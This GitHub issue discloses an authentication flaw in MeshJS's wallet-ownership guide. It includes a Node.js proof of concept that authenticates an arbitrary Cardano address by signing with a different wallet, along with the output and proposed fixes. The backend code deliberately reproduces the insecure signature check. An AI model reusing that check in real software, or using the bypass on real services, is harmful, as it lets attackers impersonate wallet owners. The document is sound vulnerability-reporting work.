Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerability in prove wallet ownership guide #345

Open
d-Bharti001 opened this issue Oct 23, 2024 · 0 comments
Open

Vulnerability in prove wallet ownership guide #345

d-Bharti001 opened this issue Oct 23, 2024 · 0 comments

Comments

@d-Bharti001
Copy link

Prove Wallet Ownership guide: Fake Authentication Vulnerability

https://meshjs.dev/guides/prove-wallet-ownership

  • In the above official guide, the process to verify that you own a certain wallet address is depicted.
  • But I found a way through which I can verify authenticate any address of my choice, by signing data through the wallet I own.
  • That is, I might not be actually owning a wallet address, but I can provide that wallet address to the backend, and it will be authenticated, which is a major security fault.

The figure below shows how can someone fool the system:

IMG_E0083

Steps:

  1. Send any address to generate nonce
  2. Get the nonce and sign it (using your wallet)
  3. Send the signature and that address for which the nonce was generated to the backend
  4. The backend fetches the nonce for that address, and verifies the signature for that nonce
  5. Signature gets verified successfully, and that targeted address gets authenticated

Possible solutions

  • The checkSignature() function should be upgraded to take more arguments.
  • Cardano Foundation's verifyDataSignature() function takes the plain text message and wallet address as additional arguments, which can be used to verify if the specified wallet address is the one who signed the message.
    https://github.com/cardano-foundation/cardano-verify-datasignature

There might be some other solution which I'm not sure about:

  • signData() returns an object containing a signature and a key
  • If that key is related to the account used for signing the message, then inside the checkSignature() function, either the key should be extracted from a specified 'userAddress', or vice-versa (whichever is technically feasible). Then the key and the provided address should be matched. The specified 'userAddress' can be called to be the signer of the message only if it is linked to that key. Otherwise the authentication should fail.

Additional context

Here's the code which proves that the process described in the guide (https://meshjs.dev/guides/prove-wallet-ownership) won't work.

// frontend.js
const { MeshWallet } = require("@meshsdk/core");
const { backendGetNonce, backendVerifySignature } = require("./backend");

var wallet = null;

const otherAddress = "stake_test1AbcD";

var nonce = null;

async function frontendGenerateWallet() {
    wallet = new MeshWallet({
        networkId: 0,
        key: {
            type: "mnemonic",
            words: new Array(24).fill("solution")
        },
    });
}

async function frontendStartLoginProcess() {
    console.log("Start login process...");

    const userAddress = (await wallet.getRewardAddresses())[0];

    console.log("Wallet address to register / sign-in with:", otherAddress);
    console.log("My owned wallet address:", userAddress);

    // Send request with 'otherAddress' to the backend, instead of the owned address
    nonce = await backendGetNonce(otherAddress);

}

async function frontendSignMessage() {
    console.log("\nSigning message...");
    try {
        // Sign data with owned wallet address
        const userAddress = (await wallet.getRewardAddresses())[0];
        const signature = await wallet.signData(nonce, userAddress);

        // Send request with 'signature' and 'otherAddress' to the backend
        await backendVerifySignature(otherAddress, signature);
    } catch (error) {
        console.error(error);
    }
}

module.exports = {
    frontendGenerateWallet,
    frontendStartLoginProcess,
    frontendSignMessage,
};
// backend.js
const { checkSignature, generateNonce } = require("@meshsdk/core");

const userDbStore = {};     // { userAddress: nonce }

async function backendGetNonce(userAddress) {
    const nonce = generateNonce("Sign to login in to Mesh: ");

    // Store nonce in user model in the database
    userDbStore[userAddress] = nonce;

    // console.log("Nonce:", nonce);

    return nonce;
}

async function backendVerifySignature(userAddress, signature) {
    // Get 'nonce' from user (database) using 'userAddress'
    const nonce = userDbStore[userAddress];

    const result = checkSignature(nonce, signature);

    // do: update 'nonce' in the database with another random string

    // do: do whatever you need to do, once the user has proven ownership
    // it could be creating a valid JSON Web Token (JWT) or session
    // it could be doing something offchain
    // it could just be updating something in the database

    if (result === true) {
        console.log("Backend: this user address is authenticated:", userAddress);
    }

    return result;
}

module.exports = {
    backendGetNonce,
    backendVerifySignature,
};
// index.js
const { frontendGenerateWallet, frontendStartLoginProcess, frontendSignMessage } = require("./frontend");

async function main() {
    await frontendGenerateWallet();
    await frontendStartLoginProcess();
    await frontendSignMessage();
}

main();

Run:

node index.js

Output:

Start login process...
Wallet address to register / sign-in with: stake_test1AbcD
My owned wallet address: stake_test1uzw5mnt7g4xjgdqkfa80hrk7kdvds6sa4k0vvgjvlj7w8eskffj2n

Signing message...
Backend: this user address is authenticated: stake_test1AbcD
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant